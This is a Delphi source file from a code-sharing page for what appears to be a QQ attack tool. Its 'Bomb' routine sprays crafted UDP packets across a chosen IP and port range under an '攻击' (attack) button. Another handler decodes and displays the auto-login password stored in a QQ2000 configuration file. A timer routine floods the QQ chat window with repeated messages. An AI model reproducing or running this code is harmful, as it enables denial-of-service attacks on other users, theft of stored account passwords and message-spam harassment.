📄 unit1.pas
字号:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, KsHooks, KsForms, KsSkinForms, KsSkinEngine, KsControls, KsTabs,
KsSkinTabs, Grids, StdCtrls, RzLabel, ExtCtrls, jpeg, KsButtons,
KsSkinButtons, Mask, RzEdit, RzBtnEdt, RzCommon, RzSelDir, KsEdits,
KsSkinEdits,winsock;
type
TForm1 = class(TForm)
SeSkinEngine1: TSeSkinEngine;
SeSkinForm1: TSeSkinForm;
SeSkinTabControl1: TSeSkinTabControl;
TKsCustomTabSheet1: TKsCustomTabSheet;
TKsCustomTabSheet2: TKsCustomTabSheet;
TKsCustomTabSheet3: TKsCustomTabSheet;
TKsCustomTabSheet4: TKsCustomTabSheet;
Image1: TImage;
RzLabel4: TRzLabel;
Image2: TImage;
StringGrid: TStringGrid;
RzURLLabel2: TRzURLLabel;
RzURLLabel1: TRzURLLabel;
Image3: TImage;
Label1: TLabel;
RzSelDirDialog1: TRzSelDirDialog;
RzButtonEdit1: TRzButtonEdit;
SeSkinButton1: TSeSkinButton;
RzLabel2: TRzLabel;
RzLabel1: TRzLabel;
Timer1: TTimer;
SeSkinEdit1: TSeSkinEdit;
SeSkinEdit2: TSeSkinEdit;
SeSkinButton2: TSeSkinButton;
SeSkinButton3: TSeSkinButton;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
RzLabel5: TRzLabel;
RzLabel6: TRzLabel;
RzLabel7: TRzLabel;
RzLabel8: TRzLabel;
Button1: TSeSkinButton;
Edit1: TSeSkinEdit;
Edit2: TSeSkinEdit;
Edit3: TSeSkinEdit;
Edit4: TSeSkinEdit;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
Label11: TLabel;
RzURLLabel3: TRzURLLabel;
procedure FormCreate(Sender: TObject);
procedure StringGridDrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
procedure RzButtonEdit1ButtonClick(Sender: TObject);
procedure SeSkinButton1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure SeSkinButton3Click(Sender: TObject);
procedure SeSkinButton2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
FTextHandle: HWND; //qq消息输入框句柄
FButtonHandle: HWND; //发送按钮输入框
public
{ Public declarations }
procedure Bomb;
end;
Function HexToDec(const Value :string) : integer;
var
Form1: TForm1;
bombexit:boolean=false;
implementation
{$R *.dfm}
procedure getIP(s:string;var a1,a2,a3,a4:byte);
var
b:byte;
begin
b:=pos('.',s);a1:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
b:=pos('.',s);a2:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
b:=pos('.',s);a3:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
a4:=strtoint(s);
end;
procedure PMessage;
var
Msg:TMsg;
begin
while PeekMessage(Msg,0,0,0,1) do begin
if Msg.Message<>18 then begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
end;
procedure TForm1.Bomb;
var
a1,a2,a3,a4,b1,b2,b3,b4,c1,c2,c3,c4:byte;//IP
p1,p2,p3:word;//port
b:longint;
wsadata:TWSAData;
UDP:Thandle;
sain:TsockAddrIn;
dw:dword;
buf,s:string;
aa:integer;
begin
getIP(Edit1.text,a1,a2,a3,a4);
getIP(Edit2.text,b1,b2,b3,b4);
p1:=strtoint(edit3.text);p2:=strtoint(edit4.text);
WSAStartup($101,wsadata);
sain.sin_family:=AF_INET;
sain.sin_port:=htons(p1);
sain.sin_addr.S_addr:=0;
UDP:=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
Bind(UDP,sain,sizeof(sain));
dw:=sizeof(sain);
buf:=#02#70#63#00#01#11#03;
setlength(buf,7);
aa:=length(buf);
Screen.Cursor:=crHourglass;
for c1:=a1 to b1 do begin
if bombexit=true then break;
for c2:=a2 to b2 do begin
if bombexit=true then break;
for c3:=a3 to b3 do begin
if bombexit=true then break;
for c4:=a4 to b4 do begin
if bombexit=true then break;
s:=inttostr(c1)+'.'+inttostr(c2)+'.'+inttostr(c3)+'.'+inttostr(c4);
b:=inet_addr(pchar(s));
sain.sin_addr.S_addr:=b;
for p3:=p1 to p2 do begin
if bombexit=true then break;
pmessage;
sain.sin_port:=htons(p3);//port
sendto(UDP,Buf[1],aa,0,sain,dw);
label5.caption:=s+':'+inttostr(p3);
pmessage;
sleep(3);
end;
end;
end;
end;
end;
label5.caption:='OK!';
closesocket(UDP);
WSAcleanup;
Screen.Cursor:=crDefault;
Button1.caption:='攻击'
end;
Function HexToDec(const Value :string) : integer;
CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR
str : String;
Int : Integer;
i : integer;
BEGIN
Str := UpperCase(Value);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN
Int := Int * 16 + ORD(str[i]) - 48
ELSE
Int := Int * 16 + HEX[str[i]];
Result := Int;
end;
//这个函数取当前qq发送窗口上“送讯息”的按钮的句柄
//function EnumChildWindowsProc(hwnd: Integer; lparam: Longint):Boolean; stdcall;
function GetButtonHandle(hwnd: Integer; lparam: Longint):Boolean; stdcall;
var
buffer: array[0..255] of Char;
buffer1: array[0..255] of Char;
begin
Result := True;
//得到目标窗口的控件
GetClassName(hwnd,buffer,256);
//找到发消息的目标窗口的目标控件
if StrPas(Buffer)='Button' then
begin
GetWindowText(hwnd,buffer1,100);
if buffer1 = '送讯息(&S)' then
begin
PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)
Result:=False; //终止循环
end;
end;
end;//end of function
//这个函数取当前qq发送窗口上消息框句柄
//function EnumChildWindowsProc(hwnd: Integer; lparam: Longint):Boolean; stdcall;
function GetEditHandle(hwnd: Integer; lparam: Longint):Boolean; stdcall;
var
buffer: array[0..255] of Char;
buffer1: array[0..255] of Char;
begin
Result := True;
//得到目标窗口的控件
GetClassName(hwnd,buffer,256);
//找到发消息的目标窗口的目标控件
if StrPas(Buffer)='Edit' then
begin
GetWindowText(hwnd,buffer1,100);
PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)
Result:=False; //终止循环
end;
end;//end of function
procedure TForm1.FormCreate(Sender: TObject);
begin
StringGrid.ClientWidth := StringGrid.ColCount * (StringGrid.DefaultColWidth + 1);
StringGrid.ClientHeight := StringGrid.RowCount * (StringGrid.DefaultRowHeight + 1);
IF not FileExists('Whistler.skin') Then
Showmessage('皮肤文件不存在,将以普通模式显示')
end;
procedure TForm1.StringGridDrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
var
S: string;
W, H: Integer;
begin
W := Rect.Right - Rect.Left +1;
H := Rect.Bottom - Rect.Top + 1;
with Sender as TStringGrid do
begin
S := Chr((ARow + 2) * 16 + ACol );
Canvas.TextOut(Rect.Left + W div 2 - Canvas.TextWidth(S) div 2, Rect.Top + H div 2 - Canvas.TextHeight(S) div 2, S);
end;
end;
procedure TForm1.RzButtonEdit1ButtonClick(Sender: TObject);
begin
if RzSelDirDialog1.Execute then
RzButtonEdit1.Text:= RzSelDirDialog1.Directory;
end;
procedure TForm1.SeSkinButton1Click(Sender: TObject);
var
i,f1,len,asinum: integer;
str,strhex,password: string;
begin
if RzButtonEdit1.Text<>'' then
begin
if not Fileexists(RzButtonEdit1.Text+'\dat\oicq2000.cfg') then
begin
showmessage('非法QQ2000目录!请重新选择!');
exit;
end;
try
f1 := fileopen(RzButtonEdit1.Text+'\dat\oicq2000.cfg', fmOpenRead);
if f1 > 0 then
begin
len := fileseek(f1, 0, 2);
fileseek(f1, 0, 0);
str := stringofchar(#0, len);
fileread(f1, str[1], len);
fileclose(f1);
for i:=9 to (HexToDec(format('%x',[ord(str[5])]))+8) do //
begin
strhex:=format('%x',[ord(str[i])]);
asinum:=255-HexToDec(strhex);
password:=password+chr(asinum);
end;
if password='' then
Showmessage('非自动登陆无法取得!')
else Showmessage('成功取得密码:'+password);
end;
except
showmessage('暂时无法处理密码文件!');
exit;
end;
end
else
begin
showmessage('非法QQ2000目录!请重新选择!');
exit;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
{定时发送}
//设发送文本
SendMessage(FTextHandle,WM_SETTEXT,0,Integer(pchar(SeSkinEdit2.Text)));
//发送按钮
//SendMessage(FButtonHandle,BN_CLICKED,0,0);
SendMessage(FButtonHandle,WM_LBUTTONDOWN,0,0);
SendMessage(FButtonHandle,WM_LBUTTONUP,0,0);
end;
procedure TForm1.SeSkinButton3Click(Sender: TObject);
var
Handle: Integer;
tmpHandle: Integer;
begin
{取句柄}
Handle := FindWindow(nil,'对话模式'); //就是窗口的Caption
if Handle<>0 then
begin
tmpHandle := Handle;
//在这里循环取到想要的句柄为止
//取发送按钮的,FButtonHandle
EnumChildWindows(Handle,@GetButtonHandle,Integer(@Handle));
FButtonHandle := Handle;
//取消息输入框的,FTextHandle
EnumChildWindows(tmpHandle,@GetEditHandle,Integer(@tmpHandle));
FTextHandle := tmpHandle;
Timer1.Interval := StrToInt(SeSkinEdit1.Text+'000');
Timer1.Enabled := true;
end;//end of if
end;
procedure TForm1.SeSkinButton2Click(Sender: TObject);
begin
Timer1.Enabled := false;//关闭定时器
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
bombexit:=false;
if Button1.caption='攻击' then
begin
Button1.caption:='停止';
bomb;
end
else
begin
Button1.caption:='停止';
bombexit:=true;
sleep(5);
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -